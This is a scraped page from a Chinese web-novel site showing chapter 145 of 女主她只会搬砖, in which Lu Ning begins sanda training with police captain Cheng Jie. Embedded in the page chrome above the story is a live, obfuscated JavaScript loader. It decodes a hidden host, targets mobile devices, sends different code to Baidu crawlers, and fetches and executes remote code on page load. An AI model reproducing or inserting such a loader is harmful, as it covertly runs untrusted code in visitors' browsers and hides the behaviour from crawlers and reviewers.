妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

分卷阅读145(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('女主她只会搬砖 作者:红叶似火

分卷阅读145

成杰。

她去的时候成杰正在忙。过年期间累积了不少案子,幸亏没出什么大事 不然连春节也不能消停。

瞅见路宁,成杰把她领到自己的办公室,问道:“你来做什么?”

路宁看了一眼他乱糟糟的办公室,道:“我想跟你学格斗术,不过看你蛮忙的,我改天再来吧,这是裴渊让我捎给你的酒,祝你新年快乐。”

成杰掂起酒瓶晃了晃,啧啧赞道:“不错嘛,裴渊把压箱底的好东西都拿出来了,我不好好教你都对不住这酒。你的力气大,身体灵敏速度快,我准备教你散打。你先到外面跑十圈,不,二十圈,先练耐力,等我忙完这一段就过来。”

公安局后面就有一片空地,稀稀拉拉停了几辆车,不时还有人走过。

路宁走过去,甩了甩胳膊 从门口开始跑了起来。

过了一会儿,就有人找到成杰:“成队,外面那姑娘是今天来找你的吧,怎么在外头跑了起来?”

成杰瞥了他一眼:“我让她跑的。”

那人露出恍然大悟的神色:“难怪这么厉害呢,都跑了十几圈也不喘一下气,就是个子小了点。”

闻言,成杰也来了兴致,走到窗口推开窗,探头往楼下一望。

楼下围了一群警察,对着路宁指指点点,似乎是没想到一个小姑娘这么能跑。

再看路宁,她脱了大衣,穿着一件米色的毛衣,匀速的在院子里跑圈,从头到尾她脸上的表情都很轻松。

成杰观察了一会儿就看出,路宁是用了三步一呼三步一吸的呼吸法,难怪跑这么久,呼吸都没乱。看不出来,这小姑娘会的东西蛮多的嘛。

看了两眼,他就收回了目光,走回办公桌前办公。

等成杰想起路宁时,已是半个小时后的事了。他走下楼,看到路宁还在跑,不过这会儿她终于有些撑不住的迹象了不但呼吸乱了,连额头上都渗出了汗水。

成杰倒了一杯温水递到她面前:“停下休息一会儿。”

路宁接过水仰头喝完:“谢谢。”

成杰看向她:“你跑了多少圈?”

路宁挠了下头:“大概有三十圈吧,后面我没怎么数。”

成杰颔首:“不错,一圈差不多三百米,三十圈差不多九千米。耐力还行,就是速度慢了点,跑了差不多一个小时。”

路宁苦逼地垮下嘴,她是来学散打的,可不是来跑步的。

成杰揉了她的头一把:“不要不情愿,跑步不但可以锻炼你的耐力,还可以增强腿部的力量。走吧,快到中午了,我带你吃饭,吃过饭休息一会儿,下午再做其他的基础练习。”

成杰的教法并没有路宁想象中的那么威风有趣,相反,枯燥得乏味,前期基本都是一些基础训练,跑步、跳绳、压腿、深蹲、俯卧撑之类的。

大部分时候成杰都很忙,一天只能抽很少的时间来检验路宁的训练进度。不过他对路宁的要求一直很严格,用他的话来说,基本功是地基,只有这牢固了,以后的训练才能事半功倍。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间